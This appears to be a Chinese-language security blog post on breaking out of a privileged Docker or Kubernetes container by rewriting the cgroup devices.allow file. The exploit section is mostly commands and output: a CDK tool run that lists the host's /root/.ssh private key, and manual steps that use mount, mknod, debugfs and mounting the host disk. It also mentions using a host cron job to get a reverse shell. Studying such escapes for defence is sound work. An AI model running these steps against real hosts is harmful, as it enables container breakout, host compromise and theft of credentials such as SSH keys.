前言
继续学习容器逃逸漏洞,特权容器挂载cgroup,重写device.allow
文件以访问设备进行容器逃逸。
漏洞介绍
devices子系统用于配制允许或者阻止cgroup中的task访问某个设备,起到黑白名单的作用,主要包含以下文件:
- devices.allow:cgroup中的task能够访问的设备列表,格式为type major:minor access
- devices.deny:cgroup 中任务不能访问的设备,和上面的格式相同
- devices.list:列出 cgroup 中设备的黑名单和白名单
挂载重写当前容器内的 /sys/fs/cgroup/devices/devices.allow
,逃逸特权容器访问宿主机内的文件。
漏洞利用
cdk关于该漏洞的exp
➜ /tmp docker run -it -v /tmp:/tmp --cap-add="SYS_ADMIN" near/neo4j-test bash
# ./cdk run rewrite-cgroup-devices
2021/01/23 07:28:10 generate shell exploit: /tmp/rewrite-cgroup-devices-exp-dylqyn.sh
Execute Shell:/tmp/rewrite-cgroup-devices-exp-dylqyn.sh finished with output:
2021/01/23 07:28:10 get /sys/fs/cgroup/devices/devices.allow inode id: 955171887
2021/01/23 07:28:10 find cgroup devices.allow file: /sys/fs/cgroup/cgneartest/docker/c254a346291562776f08fd135c267e64eef0f6908578a9eebd97274d543a865f/devices.allow
2021/01/23 07:28:10 get virtblk device ID: 252
2021/01/23 07:28:10 generate shell exploit: /tmp/device-mknod-cmezii.sh
Execute Shell:/tmp/device-mknod-cmezii.sh finished with output:
2021/01/23 07:28:12 now, run 'debugfs cdk_mknod_result' to browse host files.
# debugfs cdk_mknod_result
debugfs 1.42.13 (17-May-2015)
debugfs: ls -l /root/.ssh
393231 40700 (2) 0 0 4096 22-Nov-2020 15:59 .
52566 40550 (2) 0 0 4096 23-Jan-2021 07:27 ..
395870 100600 (1) 0 0 746 29-May-2020 06:11 authorized_keys
395829 100644 (1) 0 0 247 7-Aug-2020 07:01 config
395860 100644 (1) 0 0 725 16-Dec-2020 10:53 known_hosts
393227 100600 (1) 0 0 1675 22-Nov-2020 15:59 id_rsa
395831 100644 (1) 0 0 391 22-Nov-2020 15:59 id_rsa.pub
漏洞复现
利用原理
- 创建空目录挂载cgroup devices子系统
- 确定当前容器对应的子cgroup位置
- 设置其devices.allow文件为a
- 获得宿主机的设备major和minor
- 通过mknod根据设备major和minor手动创建设备文件
- 利用debugfs或直接挂载设备文件访问宿主机文件
- 设置宿主机定时任务等方式反弹shell
步骤一
mkdir /tmp/dev && mount -t cgroup -o devices devices /tmp/dev
步骤二
如果是k8s环境
mount -l | grep kubepods
# cgroup on /sys/fs/cgroup/systemd/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podd48471c8_48de_11eb_9ca9_246e96cd3098.slice/docker-014c16f0839f7274ec5075332576435c254c214cdc21ca0cec361ad6749aef1a.scope type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/usr/lib/systemd/systemd-cgroups-agent,name=systemd)
cd /tmp/dev/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podd48471c8_48de_11eb_9ca9_246e96cd3098.slice/docker-014c16f0839f7274ec5075332576435c254c214cdc21ca0cec361ad6749aef1a.scope
如果是docker环境
cat /proc/self/cgroup | grep docker | head -1 | sed 's/.*\/docker\/\(.*\)/\1/g'
# 62b8e246d01e978a2cf671a4e67b49782401bd647ae87ad967553598bce7108c
cd/tmp/dev/docker/62b8e246d01e978a2cf671a4e67b49782401bd647ae87ad967553598bce7108c
步骤三
echo a > devices.allow && cd /tmp
步骤四
cat /proc/self/mountinfo | grep /etc | awk '{print $3,$8}' | head -1
# 253:0 xfs
步骤五
mknod host b 253 0
步骤六
## 步骤四会输出major和minor和文件系统类型,如果是ext2/ext3/ext4文件系统可以用debugfs直接看目录,如果是xfs文件系统debugfs不支持,直接挂载看就可以
mkdir /tmp/host_dir && mount host /tmp/host_dir
这样就可以挂载查看宿主机的/etc/hostname
文件:
参考链接
https://www.anquanke.com/post/id/256304#h2-13